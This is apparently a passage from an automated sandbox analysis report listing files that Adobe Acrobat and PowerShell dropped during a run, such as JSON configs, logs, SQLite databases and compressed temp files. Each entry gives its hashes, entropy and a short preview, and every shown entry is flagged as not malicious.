SHA-512:	B1AB57CEF2B61581EE6857B7BB7B19C880FA86021C37D5255C597816E579B76A3C6B29616DAC28E6EAA6B6C0BBF70328995DF2997375C0354C1EE92A08E396EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669550466562225
Encrypted:	false
SSDEEP:	24:Yv6Xm0EzvQf+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSkn:YvBofABgkDMUJUAh8cvMk
MD5:	53C38E5A8C05A3FC988C4A89749EF4D6
SHA1:	1764D34CC11BDEB67441CFC44D0EB7081E3ECEFB
SHA-256:	64F117584E69365DDC9C83E8AEDFF3306DB0ED047C5203705475348DB94659BC
SHA-512:	A10296A0D8EF8862BCD06E697B2109C6925AADC34951390F9EBDBA2F28046B10A0470AD053407887AC7F9FC61C6922A4904FFD6C3BAA2A1F37961E7450A09E6C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.284078205747952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJfshHHrPeUkwRe9:YvXKXcNIJEZc0vQfdGUUUkee9
MD5:	C09A075A56AC1895386B3C5533E593DC
SHA1:	844924949A18B82E14C14D292AD32252C18B0A90
SHA-256:	33ECC0535A5A890A3CE24C14481BA0E3AABE5323B3280980DDCC9262E6029FBE
SHA-512:	60AA5EFB2F83C989585E7E1FB099A60FA337EA1A11CAE8E2B72C2CDA72A2B59C27D993209933D795248686511221015349F270662651C124C6C8A1E09720DF12
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.292050228118704
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJTqgFCrPeUkwRe9:YvXKXcNIJEZc0vQfdGTq16Ukee9
MD5:	BF6B13624CA09AB734E2ADE014E989D0
SHA1:	285454F8C4C704992AE987393CA6B2FC1535FAF4
SHA-256:	F975B9D8B35BAD22AD4A0451D1F2015CFCAD94BA9F8060FEF75DE65E3932D188
SHA-512:	77C157AB798F611DE852F4780C28717C9594D19D1F8026872133B150935C405EFB5BA470B51D8763D465F9CC99AA3AE7E9F799BFCC8E02299CC2C0D6731807B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137709813261823
Encrypted:	false
SSDEEP:	24:YDalayALQajhsLBqWY5ZSfNy+CEj+1pj0S8gu3CY2eP2LSOCmE1v6LOXGbVX5p9l:YDHahY5s3+1dArD406LOWVj9l
MD5:	D1FE09AA12048A7D28D0AE602DA459A2
SHA1:	F9597625BB9F60335206711835A566ECF7045A22
SHA-256:	36CA32EBF31DE2D8DEF9EFA50EF367C9B6153BD0DC73904CE937D93543CF29D5
SHA-512:	833E709E101F7FDC91479321E919D8CB371B3CC4AE3F00B5AD1A4F59908FF759FCA2ED56C85F731BBA264CE7859255797634C553ED718B40ED23DB0C5B9D6E21
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"114a953b0aa271167f921bd43b385858","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736540908000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"316db9b7f55e294e6d70b7b671c74ed8","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736540908000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1d9284f5ef8ce0ee57e77bbef01d5914","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736540908000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9b3055d63dd829f998801362f92c6d15","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736540908000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c22d3df682a631ef860901024f8aedfd","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736540908000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5c229275e91fd506071c3e908cbc3a36","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1886332329370015
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUwSvR9H9vxFGiDIAEkGVvpi:lNVmswUUUUUUUUw+FGSItu
MD5:	7FA13083B8118C726A4581D454A3C5AB
SHA1:	26D3E8B754A3870BA388161CF240C90824EADD69
SHA-256:	8FF2F7C06D0F808BE8F3AC5743FD4DEB27ACA9E5851C4AA57584D769002BFAD5
SHA-512:	B07C408635C50D403ABB40E00522B5B232477FFBCA0A97D987978DCE8F7EE1B4EAC695941A245206DAA2324AC7FDCABBC8E76BFC80715FFEFA724F92244F74BE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6083871922035502
Encrypted:	false
SSDEEP:	48:7MHKUUUUUUUUUUCvR9H9vxFGiDIAEkGVv/qFl2GL7msT:7xUUUUUUUUUUOFGSItxKVmsT
MD5:	06088A3E72C259A62A917E233CFA9DA5
SHA1:	41B3A61B5438B91249F2AF2366B68A4BF19807AA
SHA-256:	9A8D2395522940C6E2DD5E3A6FA6D8BC540A91C90D6D227B8EDC0F961D565F25
SHA-512:	9EB3DEBA0B50B5ADE0205FB18C1CEB32D5053F66316BA25C7288EBF726BA1475D83427B817514644B9B74F2F1B7B69FDD06A078666D1B451D189B8750D8668FB
Malicious:	false
Preview:	.... .c.....(`........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgnt3dnDDQaYv6qE0cs5z03enyYyu:6a6TZ44ADEt3dnDDQaYk32yK
MD5:	E19AF65BDBBC072D83DFA5EB38CE4712
SHA1:	D91299163E50C2045E9B307DB9F58678B122E4E1
SHA-256:	64AFE17517425991918964A783A43EA727CBA51FB97C4EE30658F3461D1E7358
SHA-512:	B8B892FE4BD54DF993DBDC1F8EB176DD7E5FA595ABE010C53616032C30B41EB6DC1786BF85958EDA11C3C8A4832BF12C18880D555CD5A4A4C8D02F8942AF252A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:NlllulLhwlz:NllUO
MD5:	F442CD24937ABD508058EA44FD91378E
SHA1:	FDE63CECA441AA1C5C9C401498F9032A23B38085
SHA-256:	E2960AF08E2EE7C9C72EEA31DBBFE1B55B9BF84DE2DD7BB7204487E6AF37B8F6
SHA-512:	927E2EEA0BB3FC3D3A0DA7F45644F594CE29F11D90A84B005D723500258DE9E8B3780EB87242F4C62B64B9FEEA1869FC16076FA3AC89EC34E0546CDE1BEF7631
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI94ae3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEWElPwlYH:Qw946cPbiOxDlbYnuRK+bDWEl4lYH
MD5:	3A7FA87FC6A80C059955FB822A255154
SHA1:	69DD3993134A12E071C10CEC42FB91834B3EC383
SHA-256:	B2F2CAD5EE2758EE649B29CC1502ECD959A2928C2243609E8B4107DF4D9A235C
SHA-512:	64698B7717018BC90EE5AB2F89082985549EDABA922F06ED1B2C678631854D847C6EDBBECF583E74D66DA827C7C4719DBE8C2F220163053E28DCE3A2F12CEF35
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.2.8.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gccz5fld.vuf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jdc5uaw0.xus.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-28-25-100.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.310442406472871
Encrypted:	false
SSDEEP:	384:17tyFvIHLwukT9bUZXT7/h3Nx+HT1rju0L42EcGENGf9XnJYIXL/epe7miE1Ve+C:ZHAKM9I
MD5:	11CB2E5180B722410D68B289FFE23501
SHA1:	7100BC6E9B4CED5233662582950AEDA0710E16D2
SHA-256:	6DDCEEE24C41751273ED208BE1751CCE672BB83BBB8F236C1D41832E4E68AB6E
SHA-512:	60FDEB43320CAA9E34966591BD094D62B0DA21E142A1126B45CE8696F351014995D5FB03C59ACD81AB8C60A00EDB00FFCA1792B3518BA7E845262C832BD4B6BB
Malicious:	false
Preview:	SessionID=bf053110-a8e6-455d-9e6e-cda0ad68d881.1736540905112 Timestamp=2025-01-10T15:28:25:112-0500 ThreadID=7904 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=bf053110-a8e6-455d-9e6e-cda0ad68d881.1736540905112 Timestamp=2025-01-10T15:28:25:124-0500 ThreadID=7904 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=bf053110-a8e6-455d-9e6e-cda0ad68d881.1736540905112 Timestamp=2025-01-10T15:28:25:124-0500 ThreadID=7904 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=bf053110-a8e6-455d-9e6e-cda0ad68d881.1736540905112 Timestamp=2025-01-10T15:28:25:124-0500 ThreadID=7904 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=bf053110-a8e6-455d-9e6e-cda0ad68d881.1736540905112 Timestamp=2025-01-10T15:28:25:124-0500 ThreadID=7904 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.387561102043797
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rC:9c
MD5:	E62CF29F95B96DD55B52DD2415DB8ADB
SHA1:	C6BB23BF70888C4AC59EC8B011D93BF89A689393
SHA-256:	50A9AD2AC06717CBD1EB264F2697BD3950FA200EC6E0D4DF8E2940B7191CE858
SHA-512:	0A5BC212E44D3EF5B58DEB669FB08026B9D4C657EEA4CF3F9C0BCA3C8671AED839768B5E6187D87B191A62B726B0112AE29E7B228DE367A587445E73A4EE4021
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\017799d8-aa6c-4052-b3a3-a4bc036ccb3b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\2782fea7-6eda-486b-bd34-e157bd045b1f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\309b323b-ca9d-4c3e-bbdd-64862d32cc29.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/RwYIGNP4meWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:ZwZG6XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	3E2D879F2C17CB927D259AABADA22E63
SHA1:	244E867380AF3F02DA05F1545B9EB4C5AF4344F1
SHA-256:	859600ADE2AC3561FB00A165DD68DCFA12819776AC96A43BE9C6A775782B042A
SHA-512:	BBC0B0603988A51E3A0B03FEF585EA3C79C4F0ADD0EAE8A96C010F085FF1BBDD28F677EFC56CA638B282602C4A60190E0C8BAD93017923B1E7F549F48294C0F1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e188fb23-f45f-4003-9c0c-15812ed74c60.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
